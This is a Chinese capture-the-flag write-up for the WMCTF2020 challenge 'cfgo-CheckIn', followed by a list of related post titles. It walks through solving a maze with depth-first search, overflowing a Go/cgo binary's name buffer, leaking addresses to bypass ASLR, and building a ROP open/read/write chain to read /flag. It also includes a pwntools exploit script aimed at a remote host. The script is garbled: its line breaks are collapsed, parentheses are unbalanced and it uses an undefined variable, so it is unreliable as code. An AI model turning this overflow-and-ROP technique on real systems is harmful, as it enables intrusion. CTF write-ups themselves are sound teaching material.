拿到二进制后先解UPX,解完后发现程序还是很复杂,发现是cgo,做题的时候不知道有没有这种的插件支持,问了下做逆向的队友,似乎插件版本没有更新到这个版本,静态分析没有进展,先看看远程服务是跑啥的。

一个迷宫,走到旗子的位置就行了,一共100关,一波深搜就行了,解决了100关后出现了。

在二进制中搜索字符串无果,就当blind pwn做了,输入name后程序就退出了,可能存在的漏洞格式化字符串以及溢出,尝试发现没有格式化字符串漏洞,然后尝试溢出。当输入了0x78个字符后发现出现了报错信息。这里报错信息还是很多的应该和go有关系,C的报错才不会和你多bb

io.sendline('b'*0x10+'a'*0x60+p64(0xdeadbeef))


报错信息为unexpected fault address,addr是0xdeadbeef,然后尝试只溢出一个字节。

io.sendline('b'*0x10+'a'*0x60+p8(0x10))

发现没有报错,但是输出数据出现奇怪的东西。

于是猜测这个地址是存放输入字符串的位置,所以这边存在一个任意地址读,但只有一个这个没啥用,还要继续往后溢出,但是这里输出的指针需要输入一个合法的地址,注意到上面报错中有fp,sp两个值是比较奇怪的地址,在本地测试发现进程中存在这一块地方的内存。在fp指向的地址附近测试,找到了输入数据的位置。多次测试发现这块内存空间的地址不会随机化。

io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70))


继续往后溢出。

io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p64(0xdeadbeef))


这时发现报错信息中pc变成了0xdeadbeef那么这里很有可能是函数的返回地址,那么溢出一个字节尝试,发现’\xce’可以返回到input name的那个逻辑中,并且从报错信息中可以bypass aslr,那就可以进一步利用了,剩下的就是基础的ROP了。在做题中发现system(’/bin/sh’)无法getshell(后来看了下Nu1L的解题,这里不用ret2libc,给的二进制程序中有足够的gadget可以直接系统调用,比赛的时候忘记看了)。尝试orw,这里有个需要注意的地方,在read的时候文件描述符3无法正确地读出flag的值。本地调试查看fdinfo发现fd是6。

from pwn import *io=remote('81.68.174.63',62176)
ELF('./pwn')
#io=process('./pwn')
libc=ELF('./libc-2.31.so')
#libc=ELF('./libc-2.23.so')def check_valid(mg, x, y):if x >= 0 and x < len(mg) and y >= 0 and y < len(mg[0]) and mg[x][y] == 1:return Trueelse:return Falsefor k in range(100):io.recvuntil('level')io.recvline()line=io.recvline()line1=[]for i in range(0,len(line[:-1]),3):line1.append(line[i]+line[i+1]+line[i+2])msg=[]t=[]for i in line1:if i=='\xe2\xac\x9b':t.append(0)msg.append(t)dstx=0dsty=0srcx=0srcy=0for j in range(len(line1)-1):t=[]line=io.recvline()linen=[]i=0while line[i]!='\n':if line[i]=='\xe2':if (line[i]+line[i+1]+line[i+2])=='\xe2\xac\x9b':t.append(0)else:t.append(1) i+=3else:if (line[i]+line[i+1]+line[i+2]+line[i+3])=='\xf0\x9f\x9a\xa9':t.append(1)srcx=len(msg)srcy=len(t)-1else :                t.append(1)dstx=len(msg)dsty=len(t)-1i+=4   msg.append(t)path=""def walk(mg, x, y,path):s=pathif x == srcx and y == srcy:io.sendline(s)if check_valid(mg, x, y):mg[x][y] = 2walk(mg, x, y+1,s+'d')walk(mg, x, y-1,s+'a')walk(mg, x-1, y,s+'w')walk(mg, x+1, y,s+'s')walk(msg, dstx, dsty,path)io.recvuntil('your name:')
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p8('\xce')))
io.recvuntil('Your name is : ')
base=u64(io.recv(8))-0x1666c0
print(hex(base))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))start_main=base+0x01EEFD0io.sendline('b'*0x10+'a'*0x60+p64(start_main)+p64(0x20)+p64(0x20)+'a'*0x88+'\xce')
io.recvuntil('Your name is : ')
start_main_add=u64(io.recv(8))libc_base=start_main_add-libc.sym['__libc_start_main']print(hex(libc_base))pop_rdi=base+0x0109d3dpop_rsi=libc_base+0x27529pop_rdx=libc_base+0x011c1e1write=libc_base+libc.sym['write']fopen=libc_base+libc.sym['open']read=libc_base+libc.sym['read']ddir=libc_base+libc.sym['getdents64']bss=base+0x21B9CDmain=base+0x1197CEio.sendline('b'*0x10+'a'*0x60+p64(free_got)+p64(0x20)+p64(0x20)+'a'*0x88+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(100)+p64(0)+p64(read)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(fopen)+p64(pop_rdi)+p64(6)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(read)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(write)+p64(main))io.sendline('/flag\x00')io.interactive()

【pwn】WMCTF2020 cfgo-CheckIn相关推荐

  1. 【pwn】长安杯baigei

    [pwn]长安杯baigei 前言 这场和das月赛重了,当时这个baigei题没仔细看,长安杯就解了两道jar包web的送分题,国庆开始补题 漏洞分析 最基本的菜单,增删改查都有的那种,漏洞在于ad ...

  2. 【pwn】2022 极客大挑战

    [pwn]2022 极客大挑战 前言 又是一年的极客大挑战,又老了一岁,也只有打打新生赛才能有第一次接触ctf快乐了,现在各种比赛的pwn都是纯纯的坐牢~ 本次题解的所有脚本使用的类库都是本人自己整合 ...

  3. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  4. 【pwn】2021 鹤壁杯 wp

    [pwn]2021 鹤壁杯 wp 前言 这场比较简单,但是也看到了自己急于求成的下场,基础知识非常不牢固,很多调试手段都太拉了,逆向能力也是非常差,还是得跟着师傅们继续学啊! 1.ret2libc1 ...

  5. c++字符串输入_【pwn】什么是格式化字符串漏洞?

    0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...

  6. 【PWN】07.ret2syscall

    参考:ret2syscall_Re1own的博客-CSDN博客 pwn小白入门05---ret2syscall_苏璃只想划水的博客-CSDN博客 ret2syscall,即通过ROP控制程序执行系统调 ...

  7. 【pwn】2020GEEKPWN复现

    参考师傅的博客,复现一手2020GEEKPWN. 1.babypwn 思路:       1)fb 泄漏 heap_base,通过堆溢出修改 size,释放进 ub,泄漏 libc       2)然 ...

  8. 【CTF】【PWN】【UAF】【萌新友好向wp】hitcontraining_uaf

    因为本人也是个菜鸡,这道题的反编译又很阴间,所以我花了比较长的时间读反编译代码,也是一步一步理解的整个过程,感觉有一些收获,所以就想写一个比较详细的wp,个人觉得是我看到的最详细的wp了. 请♂享♂用 ...

  9. 【PWN】格式化字符串漏洞原理

    今天做Dest0g3 520迎新赛的dest_love,发现是格式化字符串问题,但是由于其内容保存在了bss区,导致无法像过去那样简单利用,坐牢半天没做出来,但恰巧遇到了,就复习一下格式化字符串漏洞的 ...

最新文章

  1. Asp.net 1.0 升级至 ASP.NET 2.0十个问题总结
  2. 15 种 SQL 优化中,老司机才懂的处理技巧
  3. 替换libc中的内存分配函数
  4. 【OpenCV3】阈值化操作——cv::threshold()与cv::adaptiveThreshold()详解
  5. Linux之ubuntu的root无法连接FTP
  6. iOS10 CallKit简单开发
  7. Cassandra,MongoDB,CouchDB,Redis,Riak,HBase比较
  8. serial port 的操作
  9. 编程学不来就去当产品经理,没那么简单!
  10. ubuntu 18.04 ip固定
  11. 解读《新一代人工智能发展规划》,企业如何才能迎来产业高潮
  12. 考研数学三部曲之大话线性代数
  13. java vo转map_Java对象与map对象相互转换
  14. DB2 INTERSECT、EXCEPT、UNION集合操作测试
  15. 干货:机器人开源操作系统ROS
  16. layer 弹出框(iframe层)父子页面传值
  17. Django之中间件,csrf跨站伪造请求,auth认证模块
  18. php 调用 C++
  19. 如何发现Synaptics病毒
  20. FlexRay学习笔记_1

热门文章

  1. 计算机科学概论课程设计:Technology in the field of artificial intelligence
  2. stm32f103电子钟心得体会_STM32时钟小结
  3. 字体图标的引入方式(阿里巴巴字体库的使用)
  4. lougu T7983 大芳的逆行板载
  5. .net core with 微服务 - Polly 熔断降级
  6. 帮我写1000字《阿凡达》观后感
  7. 荣品电子T507移值Qt
  8. MIC:最大信息系数
  9. 计算机server无法启动服务,win7不能启动server服务提示错误1068的解决方法
  10. 可行性研究、需求分析